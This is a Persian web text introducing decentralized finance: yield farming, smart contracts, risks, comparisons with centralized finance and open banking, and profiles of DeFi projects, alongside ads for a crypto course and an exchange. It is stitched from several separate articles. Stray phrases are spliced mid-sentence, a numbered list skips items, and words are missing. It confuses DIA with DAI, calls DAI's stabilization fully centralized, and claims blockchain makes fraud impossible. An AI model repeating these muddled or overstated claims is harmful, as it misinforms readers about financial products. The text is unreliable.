به عنوان مثال، پلتفرم‌های صدور توکن امنیتی ممکن است ابزارها و منابعی را در اختیار ناشران قرار دهند تا اوراق بهادار توکن‌شده را روی بلاک چین با پارامترهای قابل تنظیم راه‌اندازی کنند.

پروژه‌های دیگر ممکن است امکان ایجاد مشتقات، دارایی‌های مصنوعی، بازارهای پیش‌بینی غیرمتمرکز و بسیاری موارد دیگر را فراهم کنند.

بهینه سازی بازده

DeFi DApps را می توان برای خودکارسازی و بهینه سازی ترکیب بازدهی به دست آمده از سهام، استخرهای پاداش و سایر محصولات سودآور استفاده کرد. ممکن است گاهی اوقات بهینه سازی عملکرد را بشنوید که به آن کشاورزی عملکرد گفته می شود .

به عنوان مثال، ممکن است از استخراج بیت کوین ، واگذاری BNB یا ارائه نقدینگی ، پاداش های منظم دریافت کنید. یک قرارداد هوشمند می‌تواند پاداش‌های شما را بگیرد، دارایی زیربنایی بیشتری بخرد و دوباره آن را سرمایه‌گذاری کند. این فرآیند علاقه شما را تشدید می کند و اغلب به طور قابل توجهی بازده شما را افزایش می دهد.

البته می توانید این کار را به صورت دستی انجام دهید. با این حال، استفاده از قرارداد هوشمند باعث صرفه جویی در زمان و بهینه سازی ترکیب می شود. وجوه شما معمولاً با سایر کاربران تجمیع می شود، به این معنی که هزینه های گاز بین همه اعضای قرارداد هوشمند بهینه سازی بازده تقسیم می شود.

قراردادهای هوشمند چه نقشی در DeFi دارند؟

بیشتر کاربردهای موجود و بالقوه مالی غیرمتمرکز شامل ایجاد و اجرای قراردادهای هوشمند است. در حالی که یک قرارداد معمولی از اصطلاحات حقوقی برای تعیین شرایط رابطه بین اشخاصی که وارد قرارداد می شوند استفاده می کند، یک قرارداد هوشمند از کد رایانه ای استفاده می کند.

از آنجایی که شرایط آنها در کد رایانه ای نوشته شده است، قراردادهای هوشمند توانایی منحصر به فردی برای اجرای آن شرایط به صورت خودکار دارند. این امر اجرای قابل اعتماد و اتوماسیون بسیاری از فرآیندهای تجاری را که در حال حاضر نیاز به نظارت دستی دارند را امکان پذیر می کند.

استفاده از قراردادهای هوشمند سریع‌تر، آسان‌تر است و خطر را برای هر دو طرف کاهش می‌دهد. از سوی دیگر، قراردادهای هوشمند انواع جدیدی از ریسک ها را نیز معرفی می کنند. از آنجایی که کدهای رایانه ای مستعد ابتلا به اشکالات و آسیب پذیری هستند، ارزش و اطلاعات محرمانه قفل شده در قراردادهای هوشمند در معرض خطر هستند.

DeFi با چه چالش هایی مواجه است؟

عملکرد ضعیف:

بلاک چین ها ذاتا کندتر از همتایان متمرکز خود هستند و بر برنامه های ساخته شده بر روی آنها تأثیر می گذارد. توسعه دهندگان برنامه های DeFi باید این محدودیت ها را در نظر بگیرند و محصولات خود را بر این اساس بهینه کنند.

خطر بالای خطای کاربر:

برنامه های DeFi مسئولیت را از واسطه ها به کاربر منتقل می کنند. این می تواند یک جنبه منفی برای بسیاری باشد. طراحی محصولاتی که خطر خطای کاربر را به حداقل می‌رسانند، زمانی که محصولات در بالای بلاک چین‌های تغییرناپذیر مستقر می‌شوند، چالشی سخت است.

تجربه کاربری بد:

در حال حاضر، استفاده از برنامه های DeFi نیاز به تلاش بیشتری از جانب کاربر دارد. برای اینکه برنامه‌های DeFi عنصر اصلی سیستم مالی جهانی باشند، باید مزیت ملموسی را ارائه کنند که کاربران را تشویق کند تا از سیستم سنتی خارج شوند.

اکوسیستم بهم ریخته:

یافتن مناسب ترین برنامه برای یک مورد خاص می تواند کار سختی باشد و کاربران باید توانایی پیدا کردن بهترین انتخاب ها را داشته باشند. چالش تنها ساختن برنامه‌ها نیست، بلکه فکر کردن در مورد اینکه چگونه در اکوسیستم گسترده‌تر DeFi قرار می‌گیرند، است.

خطرات DeFi چیست؟

در حالی که دنیای DeFi می تواند APY های جذابی ارائه دهد، اما بدون خطر نیست. حتی اگر آنها غیرمتمرکز هستند، شما اساساً خدمات مالی مصرف می کنید و برخی از خطرات آشنا هستند:

1. ریسک طرف مقابل:

اگر در وام های رمزنگاری یا هر نوع وام دیگری شرکت می کنید، در معرض خطر عدم بازپرداخت بدهی طرف مقابل هستید.

تشخیص قانونی بودن برخی خدمات و پروژه ها می تواند دشوار باشد. اگر در یک قرارداد هوشمند سرمایه گذاری شده اید که متعاقباً به دلیل مشکلات نظارتی بسته می شود، سرمایه شما ممکن است در خطر باشد.

دارایی‌هایی که در اختیار دارید دارای سطوح ریسک متفاوتی هستند که تحت تأثیر نقدینگی، قابل اعتماد بودن، امنیت قرارداد هوشمند نشانه‌ها و پروژه و تیم مرتبط است. از آنجایی که سرعت با خدمات مالی غیر متمرکز آشنا شوید DeFi دارای توکن‌های با ارزش بازار پایین زیادی است، ریسک توکن می‌تواند به ویژه بالا باشد.

4. ریسک نرم‌افزار:

آسیب‌پذیری‌های کد می‌توانند امنیت قراردادهای هوشمندی را که روی آن‌ها سرمایه‌گذاری کرده‌اید تضعیف کند. کیف پول شما نیز ممکن است به دلیل اتصال به DeFi DApps و دادن مجوزهای خاص به آن‌ها در خطر باشد.

اگر در استخرهای نقدینگی سرمایه گذاری می کنید، واگرایی ها از نسبت قیمتی که وارد کرده اید باعث می شود در صورت برداشت، برخی از توکن های سپرده شده در استخر را از دست بدهید.

کجا می توانم پروژه های DeFi را پیدا کنم؟

اتریوم از دیرباز خانه سنتی DeFi بوده است. با این حال، در حال حاضر بلاک چین های زیادی برای انتخاب با اکوسیستم های DeFi سالم وجود دارد. تقریباً هر شبکه ای با قابلیت قرارداد هوشمند می تواند میزبان DeFi DApps باشد. BNB Smart Chain در کنار Fantom، Solana ، Polkadot و Avalanche یک انتخاب محبوب است .

یافتن پروژه‌ها و پروتکل‌های DeFi نیاز به تحقیق دارد. انجمن های آنلاین، پیام رسان ها و وب سایت ها می توانند به شما در یادگیری فرصت های جدید کمک کنند. با این حال، شما باید با هر اطلاعاتی که پیدا می کنید بسیار مراقب باشید. همیشه محتاط باشید و ایمنی هر پروژه ای را که می خوانید یا می شنوید دوباره بررسی کنید.

بیشتر بدانیم امور مالی غیرمتمرکز DeFi – تامین مالی غیرمتمرکز دیفای چیست؟

برای دسترسی به پروژه های DeFi به چه چیزهایی نیاز دارم؟

برای اتصال به DeFi DApps، به موارد زیر نیاز دارید:

1. یک کیف پول سازگار. یک کیف پول افزونه مرورگر مانند MetaMask یا یک کیف پول موبایل مانند Trust Wallet این کار را انجام می دهد. یک کیف پول نگهدارنده (کیف پولی که در آن شما صاحب کلیدهای خصوصی نیستید) کمتر به شما اجازه اتصال به DApps را می دهد.

2. رمزنگاری. این واضح به نظر می رسد، اما ممکن است به ترکیبی از دارایی ها نیاز داشته باشید. به عنوان مثال، استفاده از هر DApp در زنجیره هوشمند BNB، را ملزم به پرداخت هزینه های گاز شما می کند . اتریوم به اتر (ETH) نیاز دارد. اگر می‌خواهید با استخرهای نقدینگی شروع کنید و به صورت دستی سهام بخرید، به یک جفت سکه با ارزش پولی مساوی نیاز دارید.

در ابتدایی ترین حالت، این تنها چیزی است که به آن نیاز دارید. اگر خودتان احساس راحتی نمی‌کنید، می‌توانید از طریق یک نهاد متمرکز به برخی از خدمات DeFi دسترسی داشته باشید. ما این را در بخش بعدی در مورد امور مالی متمرکز (CeFi) پوشش خواهیم داد.

DeFi در مقابل مالی سنتی

مسلماً مهم ترین تفاوت بین DeFi و امور مالی سنتی، دسترسی است. هر کسی می‌تواند یک کیف پول بسازد و تا زمانی که مقداری ارز دیجیتال داشته باشد، از خدمات DeFi استفاده کند. نیازی به ثبت نام یا تایید هویت نیست. برای دسترسی به خدمات مالی سنتی، چک های «مشتری خود را بشناسید» (KYC) باید تکمیل شده و سایر شرایط رعایت شود. این تفاوت اساسی باعث می شود که DeFi برای افراد بدون بانک قابل دسترسی باشد و شمول مالی را بهبود بخشد.

DeFi همچنین خدمات مالی ارائه می دهد که در قلمرو سنتی در دسترس نیستند. با لایه‌بندی سرویس‌های مختلف DeFi (گاهی اوقات به عنوان لگوهای DeFi شناخته می‌شوند)، می‌توان محصولات جدیدی را ایجاد کرد که از چندین پلتفرم استفاده می‌کنند. این انعطاف‌پذیری به محصولات نوآورانه اجازه می‌دهد که هر کسی می‌تواند برای آن استراتژی توسعه دهد.

DeFi در مقابل مالی متمرکز (CeFi)

حتی در دنیای رمزنگاری، همه خدمات مالی غیرمتمرکز نیستند. به عنوان مثال، سرمایه گذاری از طریق یک صرافی متمرکز مانند بایننس اغلب شما را ملزم می کند که نگهبانی توکن های خود را رها کنید. در این مورد، باید به نهاد متمرکزی که با وجوه شما سر و کار دارد اعتماد کنید.

اکثر خدمات ارائه شده یکسان خواهد بود. آنها احتمالاً از طریق همان پلتفرم های DeFi انجام می شوند که کاربر می تواند مستقیماً به آنها دسترسی داشته باشد. با این حال، CeFi ماهیت اغلب پیچیده مدیریت سرمایه گذاری های DeFi را از بین می برد. همچنین ممکن است ضمانت های اضافی برای سپرده های خود داشته باشید.

CeFi نه بدتر و نه بهتر از DeFi است. مناسب بودن آن به خواسته ها و نیازهای شما بستگی دارد. در حالی که ممکن است برخی از کنترل‌ها را در CeFi قربانی کنید، اغلب ضمانت‌های قوی‌تری دریافت می‌کنید و مسئولیت رسیدگی به دارایی‌ها و اجرای تراکنش‌ها را بر عهده می‌گیرید.

بیشتر بدانیم امور مالی غیرمتمرکز DeFi – تامین مالی غیرمتمرکز دیفای چیست؟

تفاوت بین دیفای و بانکداری باز چیست؟

بانکداری باز یک سیستم بانکی است که در آن به ارائه دهندگان خدمات مالی شخص ثالث از طریق API ها دسترسی ایمن به داده های مالی داده می شود. این امکان ایجاد شبکه ای از حساب ها و داده ها بین بانک ها و مؤسسات مالی غیربانکی را فراهم می کند. اساسا، این امکان را برای محصولات و خدمات جدید در سیستم مالی سنتی فراهم می کند.

با این حال، DeFi یک سیستم مالی کاملاً جدید را پیشنهاد می کند که مستقل از زیرساخت فعلی است. DeFi گاهی اوقات به عنوان مالی باز نیز شناخته می شود.

به عنوان مثال، بانکداری باز می‌تواند مدیریت تمام ابزارهای مالی سنتی را در یک برنامه با ترسیم امن داده‌ها از چندین بانک و مؤسسه امکان پذیر کند.

از سوی دیگر، تامین مالی غیرمتمرکز می‌تواند امکان مدیریت ابزارهای مالی کاملاً جدید و روش‌های جدید تعامل با آنها را فراهم کند.

دیفای (DEFI)

دیفای (DeFi) به‌زبان ساده مجموعه‌ای از برنامه‌های غیرمتمرکز است که به ما اجازه می‌دهد بدون واسطه‌، امور مالی خود را انجام دهیم.

در حقیقت دیفای همان پاسخ طبیعی بشر به استقلال مالی و مالکیت واقعی بر دارایی‌های خود است.

حوزه دیفای (DEFI)، به فضایی برای فعالیت با هدف کسب سود تبدیل شده است.

نگرش پرطرفداری که این روزها بین تازه‌ واردان دنیای ارزهای دیجیتال جا افتاده، این‌گونه است: «خرمنی از پول و سودهای کلان در دیفای جمع شده است که ما آدم‌های باهوش و فرصت‌شناس باید آن را مال خودمان کنیم.»

دیفای به معنای امور مالی غیرمتمرکز (Decentralized Finance) است.

اصطلاحی فراگیر که برای انواع برنامه‌های مالی در ارزهای رمزپایه یا بلاک چین که به منظور کمرنگ کردن واسطه‌های مالی ایجاد شده‌اند، به کار می‌رود.

برای کسب سود در بازار کریپتو باید آگاهی و شناخت کامل از آن داشته باشیم، تیم همیار کریپتو در مشهد برای کمک به علاقه مندانی که قصد ورود به این بازار را دارند دوره های آموزشی ارزهای دیجیتال مشهد را به صورت حضوری و غیرحضوری (وبیناری در فضای اسکای روم) اجرا می کند.

این دوره شامل سه محصول کریپتو استارتر، کریپتو جم و کریپتو گیمر می باشد که در این دوره ها مقدمات اولیه تا تبدیل شدن به یک معامله گر حرفه ای در دنیای کریپتو توسط اساتید کاربلد به شما آموزش داده می شود.

با تیم همیار کریپتو همراه باشید تا پلتفرم دیفای (DEFI) را به شما معرفی کنیم.

دیفای (DEFI) چیست؟

دیفای (DEFI) امور مالی غیرمتمرکز، مجموعه‌ای از برنامه‌های کاربردی که امور مالی را به‌صورت غیرمتمرکز و بدون نیاز به واسطه انجام ‌می دهد.

با استفاده از دیفای کاربر کنترل کامل بر دارایی خود دارد.

و با اکوسیستم ازطریق برنامه‌های غیرمتمرکز (Dapp‌ها) ارتباط برقرار می‌کند.

بهتر است بدانید دیفای یک پروژه نیست، یک اکوسیستم از صدها پروژه گوناگون است که همه آنها خدمات مالی غیرمتمرکز ارائه می‌دهند.

در سرتاسر جهان ما به بانک ها اعتماد می کنیم و خدمات مالی خود را به بانک ها می سپاریم و امید داریم که این کار را به نحوه احسنت انجام می دهند.

از طرفی به گذشته سازمان های متمرکز که نگاه می کینم متوجه می شویم واسطه‌ های متمرکز می‌توانند مرتکب فساد یا خطای غیرعمدی شده اند.

حوزه امور مالی غیرمتمرکز با استفاده از بلاک چین و مفهوم عدم‌تمرکز، فساد، خطای غیرعمدی و نیاز به اعتماد متمرکز را از بین برده است.

جنبشی برای ایجاد یک اکوسیستم خدمات مالی، بدون نیاز به مجوز و شفاف که برای همه قابل‌دسترسی است و بدون واسطه مرکزی کار می‌کند.

دیفای با هدف بزرگی که دارد می‌تواند یکی از نوآوری‌های عصر دیجیتال باشد.

مزایای دیفای (DEFI)

1. دیفای به هیچ واسطه و داوری احتیاج ندارد و حل و فصل اختلافات را با کد برنامه نویسی انجام می دهد.
2. کاربران بر دارایی‌های خود کنترل و نظارت دارند.
3. پول شما مصادره نمی شود و شفافیت در معاملات وجود دارد.
4. بر امور مالی و معاملات خود نظارت دارید،در نتیجه فساد و سرقت به حداقل می رسد

با توجه به اینکه داده ها روی بلاکچین ذخیره می شود و بین تمامی افراد پخش می شود پس احتمال تغییر اطلاعات، سانسور یا از کار افتادن سیستم کاهش پیدا می کند.

معایب دیفای (DEFI)

سرعت در دیفای (DEFI)

کند بودن پردازش تراکنش ها مهم ترین چالشی است که دیفای با آن روبرو است.

عمده ترین شبکه ای که میزبان دیفای است شبکه اتریوم است که 14 تراکنش در ثانیه را پردازش می کند.

شبکه های نقل و انتقال در بلاکچین پیشنهاد می کنیم این مقاله را مطالعه کنید تا با مفاهیم بنیادی بلاکچین بیشتر آشنا شوید.

البته پروژه های دیفای روی همین بلاک چین‌های آهسته هم به‌خوبی کار می‌کند.

احتمال خطا از سمت افراد

دیفای واسطه‌های مالی را از بین می‌برد و تمام مسئولیت را به کاربر واگذار می‌کند.

با گم شدن کلید خصوصی دیگر امکان بازگشت دارایی شما وجود ندارد.

پیچیده بودن دیفای (DEFI)

استفاده از حوزه دیفای کمی برای کاربران تازه‌کار پیچیده است و برنامه‌های فعلی هنوز آن‌طور که باید رابط کاربری خوبی ندارند.

برای یک کاربر عادی حریم‌خصوصی و عدم‌تمرکز اولویت اول نیست.

برخی از معایب و مزایای دیفای (DEFI) را بیان کردیم.

پروژه های دیفای (DEFI)

بر اساس اعلام وب‌سایت DefiPrime، در حال حاضر بیش از صدها پروژه در دست اقدام‌اند و به دنبال راه حل‌هایی در حوزه دیفای هستند.

DIA مخفف Decentralized Information Asset و به معنای دارایی اطلاعاتی غیر متمرکز، یک پروژه بلاک چینی سوئیسی در حوزه دیفای است، که باهدف ارائه داده‌ها و اوراکل‌ها به صورت شفاف با دسترسی آزاد فعالیت می‌کند.

در داخل اکوسیستم دیفای دای، جامعه‌ای غیرمتمرکز از دارندگان توکن‌های DIA و نمایندگان آن‌ها قرار دارند و نقش اصلی را در تعیین سیاست‌های این پروتکل بازی می‌کنند.

در حقیقت پروژه دیفای DAI قرار است به یک بلومبرگ برای داده‌های رمزنگاری‌شده و مالی تبدیل گردد.

دای در حال حاضر یکی از مورد انتظارترین پروژه‌ها در فضای DeFi است، که توکن های آن (DIA) به بازار عرضه گردید.

Orion Protocol

اوریون پروتکل با توکن انحصاری ORN، به عنوان اولین ارزی که از طریق عرضه اولیه دینامیک سکه یا DYCO پیش‌فروش شد، به بازار عرضه گردید و فروشی بیش از حد انتظار را در سال 2020 تجربه کرد.

اوریون در حال حاضر مشغول کار روی پروژه دستیابی به راه حل‌های B2B و B2C روی پیشرفته‌ترین جمع کننده نقدینگی است.

تاکنون تحت رهبری الکسی کوکوسکوف، توسعه‌دهنده بلاک چین خبره (seasoned blockchain) و خالق صرافی غیرمتمرکز ویوز (Waves) توسعه داده شده است.

از زمان راه‌اندازی، Orion مشارکت‌هایی را با الراند نتورک (Elrond Network)، بیتمکس (Bitmax)، ام‌ایکس‌سی (MXC) و اکرون (Acheron) داشته است.

Aleph

Aleph یکی از پرطرفدارترین پروژه های تازه‌وارد به حوزه دیفای است.

آلف یک پروتکل چت برای ماشین‌ها است که در آن بلاک چین‌ها، به عنوان گره‌هایی جهت ذخیره و قدرت محاسباتی غیرمتمرکز اجرا می‌شوند.

وب سرویس‌های آمازون بازار را رهبری می‌کنند، ولی همچنان میزان تقاضا برای راه حل‌های غیرمتمرکز بسیار بالا است.

جهت اثبات موفقیت Aleph.im، وب‌سایت آن‌ها در حال حاضر در بستر شبکه در حال اجرا است.

Serum

صرافی اوراق مشتقه FTX، صرافی غیرمتمرکز دیفای دکس – DeFi DEX را بر پایه‌ ارز Solana بنیان گذاری کرده است.

هدف این صرافی غیرمتمرکز، سرمایه گذاری در دیگر مکان‌هایی است که دیگر DEXها، موفق به ارائه معاملات بین زنجیره‌ای بدون نیاز به شناخت طرفین درگیر، مطابق با سرعت و قیمت مورد انتظار مشتری نشده‌اند.

بر اساس گزارش DeFi Rate، به نظر می‌رسد پروژه دیفای سروم، قصد آشنا کردن و ارائه مزایای یک صرافی غیرمتمرکز نظیر صرافی FTX را به صورتی بدون نیاز به اجازه و شناخت طرفین درگیر در معامله برای تریدرها دارد.

این ساختار قرار است به نفع اپراتورهای گره و به علت تورم توکن SRM، کارمزد معاملات و یک سیستم نمایندگی و باهدف ایجاد انگیزش جهت مشارکت در یک استیکینگ تحت عنوان “رهبران (leaders) ” شکل بگیرد.

Compound

کامپاند یکی از نخستین پروژه های DeFi است که توانست توجه بسیاری را به خود جلب کند.

دلیل این امر توکن‌های بومی آن به نام COMP است.

Compound یک پروتکل بازار پول است که به کاربران این امکان را می‌دهد تا در مقابل وثیقه‌ای که قرار می‌دهند، از طریق بلاک چین اتریوم سود دریافت کرده یا یک دارایی را قرض بگیرند.

مشارکت در استخر لیکوئیدیتی در کامپوند ساده است و به همه اشخاص این امکان را می‌دهد تا بلافاصله با نرخ‌هایی که به صورت خودکار و بر اساس میزان عرضه و تقاضا تعیین می‌گردند، درآمد کسب کنند.

Yearn finance

یکی از پروژه‌هایی که به واسطه توکن‌های خود YFI وارد حوزه رقابت دیفای شد و توانست رشد فوق‌العاده‌ای کند، پروژه Yearn finance بود.

این شرکت توسط آندره کرونژ (Andre Cronje)، که این روند را با ایده دموکراتیک سازی که در ذهن خود داشت شروع کرده بود، توسعه داده شده است.

یرن به عنوان یک اکوسیستم غیرمتمرکز، به تجمیع کننده‌هایی که از خدمات ارائه وام استفاده می‌کنند، کمک کرده.

به شرکت‌کنندگان این امکان را می‌دهد تا توکن هایی مانند USDC ،USDT و DAI را واریز کرده و در انتخاب سودآورترین فرصت‌های وام دهی در آن شرکت کنند.

DHedge

این پروژه که توسط سینتتیکس راه‌اندازی شده، از طریق سرمایه‌گذاران پیشرو همچون بلاک‌تاور کپیتال (Blocktower Capital) و تری اروز (Three Arrows) به عرصه بازگشته و توانسته تا با خدمات مالی غیر متمرکز آشنا شوید یک پروتکل جهت مدیریت دارایی‌های غیرمتمرکز ایجاد کند.

با تکیه بر مدل معاملاتی سینتتیکس زیرو اسلیپج، و لیست گروه دارایی‌های در حال گسترش که در بالا به آن‌ها اشاره کردیم، dHedge در حال ایجاد روش‌های جدیدی جهت استفاده از نقدینگی مشتقات ایجاد شده توسط پروتکل Synthetix است.

سینتتیکس به کاربران این امکان را می‌دهد تا تعداد زیادی از مشتقات را بر اساس دارایی‌ها ضرب، نگهداری و معامله کنند.

هدف اصلی دی‌هج، دموکراتیک کردن معاملات برای همه کاربران باشد.

Uniswap

Uniswap یکی از نیروهای محرکه‌ای است که باعث افزایش تقاضای فعلی پروژه های DeFi شده است.

یونی سواپ یک صرافی غیرمتمرکز است، و بجای دفاتر سفارش، از استخرهای نقدینگی استفاده می‌کند.

کاربرانی که تصمیم به ارائه نقدینگی می‌گیرند، درصدی از کارمزدهای دریافتی در هر تراکنش اتریوم را به عنوان پاداش کسب می‌کنند.

در حال حاضر بیش از صد میلیون دلار پول در استخرهای نقدینگی Uniswap قرار دارد و هر هفته، صدها لیست از درخواست کنندگان جدید برای ورود به این استخرها ثبت می‌شود.

Curve Finance

پروژه کِرو که در اوایل سال 2020 راه‌اندازی شد، به کاربران خود این امکان را می‌دهد تا در الگوریتم‌هایی که به طور اختصاصی برای استیبل کوین‌ها طراحی شده و خطا و هزینه کمتری دارند، معاملات خود را انجام دهند.

یکی از طرفداران اولیه ییلد فارمینگ بوده و هفت استخر را پیشنهاد داده تا در آن کاربران بتوانند سهم خود از استیبل کوین‌ها را به اشتراک گذاشته و در ازای آن، ارزهای دیجیتال جدیدی به عنوان پاداش دریافت کنند.

پروژه Curve با بهره‌گیری از یک رابط کاربری ساده، یکی از محبوب‌ترین پلتفرم‌ها است.

از مهم ترین ویژگی‌های آن کاربرپسندی و مستندسازی شفافی است که دارد.

Maker DAO

میکر با بیش از یک میلیارد دلار دارایی، شناخته‌شده‌ ترین نام در این لیست است.

این پلتفرم اعتباری غیرمتمرکز، از DAI پشتیبانی می‌کند؛ استیبل کوینی که ارزش آن به دلار وابسته است و یکی از پرکاربردترین ارزهای پایدار در صنعت ارزهای دیجیتال به‌حساب می‌آید.

Maker DAO به هر کاربر اجازه می‌دهد تا یک صندوق (vault) بازکرده، آن را به صورت وثیقه ارز دیجیتال قفل کرده و بر اساس آن وثیقه، توکن دای تولید کند.

جمع بندی

دیفای (DEFI)، به صورت کلی یک اکوسیستم مالی غیرمتمرکز است.

دیفای خلاصه شده عبارت (Decentralized Finance) است و بیشتر این اکوسیستم بر بستر اتریوم است.

امورمالی غیرمتمرکز، حوزه گسترده ای است که سعی دارد واسطه های متمرکز مانند بانک را حذف کند.

به گذشته که برمیگردیم بانک ها برخی فسادهای مالی و خطاهای عمدی به بار آورده اند.

با جایگزین کردن دیفای به جای بانک ها فسادها کم می شود و شفافیت در معاملات به وجود خواهد آمد.

در این مقاله تیم همیار کریپتو در مشهد معایب و مزایای دیفای را بیان کردند.

دیفای توانسته چالش های سیستم های متمرکز (بانک ها) را حل کند اما در همین راستا چالش های جدیدی برای خودش پیش آمده.

با پیدا کردن راه حل برای چالش پیش رو دیفای در آینده به نوآوری کاربردی در عصر دیجیتال تبدیل خواهد شد.

سیستمی است که در تمام جهان قابل‌ دسترس است و مانع از فساد،‌ سانسور و تبعیض می‌شود.

اگر شرایط شرکت در دوره حضوری آموزش ارز دیجیتال مشهد همیار کریپتو را ندارید می‌توانید در دوره غیرحضوری آموزش ارز دیجیتال همیار کریپتو که به صورت وبیناری در فضای اسکای روم برگزار می شود، شرکت کنید.

دیفای (defi) چیست؟ | با بهترین ارزهای دیفای آشنا شوید

دیفای چیست؟

در جهانی که امروزه ما زندگی می‌کنیم امور مالی به شدت متمرکز است. منظور از متمرکز بودن این است که کنترل اکثر امور مالی جهان در اختیار نهادها،سازمان‌های دولتی و بانک‌هاست. آن‌ها تصمیم می‌گیرند چه میزانی پول خلق کنند، چه زمانی از سیاست‌های انبساطی استفاده کنند،نرخ بهره چه میزان باشد و درکل تمام امور مالی مردم وابسطه به تصمیم آن سازمان‌ها و نهادها است. رشد فناوری بلاکچین و ارز‌های دیجیتال باعث شد مردم و کارشناسان بیش از پیش به غیرمتمرکزسازی نظام مالی فکر کنند و اقدامات عملی‌تری در این زمینه انجام دهید.دیفای به معنای امور مالی غیرمتمرکز در همین زمینه فعالیت می‌کند.با ما در این مقاله همراه باشید تا با دنیای دیفای و بهترین پروژه‌های این زمینه آشنا شویم.

با معنی دیفای آشنا شوید

آشنایی با معنی دیفای

بانک‌ها و نهاد‌های متمرکز سال‌های سال است که بر نظام‌های مالی جهان تسلط کامل دارند. در سرتاسر دنیا مردم برای انجام فعالیت‌های مالی چون وام گرفتن،سپرده گذاری و امور اینچنینی به بانک‌ها مراجعه می‌کنند. بانک‌ها نیز خود زیرنظر نهادهای متمرکز دولتی به انجام امور می‌پردازند. این تمرکز شدید در نظام مالی ریسک‌های بسیاری با خود به همراه می‌آورد،ریسک‌هایی همچون تورم شدید،رکود کسب‌وکار‌ها و فساد نتیجه این متمرکز بودن نظام مالی است.

امور مالی غیرمتمرکز یا دیفای پا به میدان گذاشته‌اند تا با تمرکززدایی با استفاده از بلاکچین سیستم مالی را از این ریسک‌ها را رهایی دهند. دیفای یا امور مالی غیرمتمرکز مجموعه‌ای از راهکارها و خدمات است که به کاربران اجازه می‌دهند اموری مانند وام گرفتن را بدون نیاز به شخص ثالث انجام دهند. در دیفای واسطه‌ای وجود ندارد و همین امر سبب می‌شود کاربر کنترل بالا بر روی سرمایه خود داشته باشد.

مزایا و کاربرد‌های سرمایه‌گذاری بر دیفای

در دنیای متمرکز شما به واسطه‌ها و سازمان‌ها اعتماد می‌کنید و سرمایه خود را در اختیار آن‌ها قرار می‌دهید،اگر به مشکلی بخورید اختلافات مالی خود را پیش نهاد متمرکزی حل و فصل می‌کنید. در دیفای همه چیز بدون واسطه و تحت کنترل شبکه بلاک‌چین انجام می‌شود. در دنیای امور مالی غیرمتمرکز سازماندهی فعالیت‌ها توسط کد‌های برنامه‌نویسی انجام می‌شود و به دلیل عدم وجود واسطه‌ها هزینه ها نیز به میزان قابل توجهی کاهش می‌یابد. سرعت فعالیت‌ها نیز در مقایسه با سیستم سنتی افزایش چشمگیری خواهد داشت. با توجه به کارکرد بلاک‌چین امکان فساد و تقلب نیز دیگر وجود نخواهد داشت. داده‌ها بر روی شبکه بلاک‌چین ثبت می‌شود و در دسترس تمام کاربران است،پس امکان تغییر و دستکاری وجود نخواهد داشت.

از کاربرد های دیفای می‌توان به دریافت وام و وام‌دهی اشاره کرد. وام‌دهی دیفای محاسن بسیاری نسبت به نظام وام‌دهی متمرکز دارد. از محاسن این امور غیرمتمرکز می توان به دریافت آنی وام،قراردادن ارز دیجیتال به عنوان وجه ضمانت و روند آسان‌تر نسبت به روند سنتی اداری اشاره کرد.

ازکاربرد های دیگر دیفای می‌توان به خدمات پولی اشاره کرد. در بازار ارز‌های دیجیتال شمار استیبل کوین‌های مبتنی بر دیفای به وضوح افزایش پیدا کرده است. استیبل کوین‌‌‌‌‌‌ها به ارزهایی گفته می‌شود که قیمت خود را به واسطه پشتوانه یک کالا یا یک دارایی دیگر ثابت نگه می‌دارند.مثلا تتر یک استیبل کوین متمرکز است که ارزش آن ثابت و یک‌دلار است.

صرافی‌های غیرمتمرکز نیز از دیگر خدماتی است که حوزه دیفای به ارمغان آورده است. در این صرافی‌ها شما با استفاده از کیف‌پول شخصی خود و بدون وجود شخص ثالثی مستقیم با کاربر دیگری معامله کنید. کارمزد این صرافی‌ها خیلی کمتر از صرافی‌های متمرکز است.

بهترین ارز‌های دیفای

چین لینک

چین لینک

چین لینک که با اوراکل ها در بلاک‌چین مشهور است. چین لینک به قرارداد‌های هوشمند این امکان را می‌دهد تا به منابع داده خارجی متصل شوند. توکن لینک با نماد LINK در سال ۲۰۲۰ عملکرد فوق‌العاده‌ای داشت و رشد خوبی را به ثبت رساند. در سال ۲۰۲۱ قیمت خود را تثبیت کرد و رشد کمتری داشت.

آوه از پروتکل‌های وام‌دهی غیرمتمرکز است و به کاربران خود اجازه می‌دهد اعتبار دریافت و یک شبکه پولی غیرمتمرکز ایجاد کنند. آوه از پیشگامان صنعت وام‌دهی غیرمتمرکز است و در ازای دریافت وثیقه ارز‌های دیجیتال به کاربران خود وام می‌دهد. همانند چین لینک آوه نیز در سال ۲۰۲۰ رشد خیره‌کننده‌ای داشت و در سال ۲۰۲۱ به روند مثبت قیمتی خود ادامه داد.

دای یک استیبل‌کوین غیرمتمرکز است. دای با استفاده از تغییر نرخ بهره و طرح‌تشویقی و بازدارنده به طور کاملا متمرکز قیمت خود را ثابت نگه می‌دارد. به گمان بسیاری از کارشناسان دای بهترین استیبل کوین بازار برای انجام تراکنش های مالی است. استیبل کوین‌ها برای مدیریت ریسک و حفظ ارزش سرمایه گزینه مناسبی هستند.

یونی سواپ

یونی توکن حاکمیتی صرافی غیرمتمرکز یونی سواپ است. یونی سواپ صرافی کاملا غیرمتمرکزی است که بر بستر قرارداد‌های هوشمند اجرا می‌شود. شما در یونی سواپ امکان ترید تمام توکن‌های شبکه اتریوم را دارید. یونی سواپ از تکنولوژی منحصر به فردی به نام بازارساز هوشمند برای انجام معاملات خود استفاده می‌کند. توکن یونی تاکنون رشد بسیاری داشته و به نظر پتانسیل فوق‌العاده‌ای برای دامه راه دارد.

جمع‌بندی بررسی دیفای

دیفای

در این مقاله با حوزه دیفای یا امورمالی غیرمتمرکز آشنایی نسبی پیدا کردیم. دیفای صنعتی رو به رشد است که سعی دارد خدمات مالی و پولی بسیاری به کاربران بدهد و در عین حال با استفاده از فناوری بلاک‌چین از این امور تمرکززدایی نیز بکند. بسیاری از کارشناسان معتقدند که دیفای آینده بسیار درخشانی دارد. شما در باین ارز می‌توانید پس از ثبت نام و احراز هویت به معامله و سرمایه‌گذاری در ارز‌های حوزه دیفای بپردازید.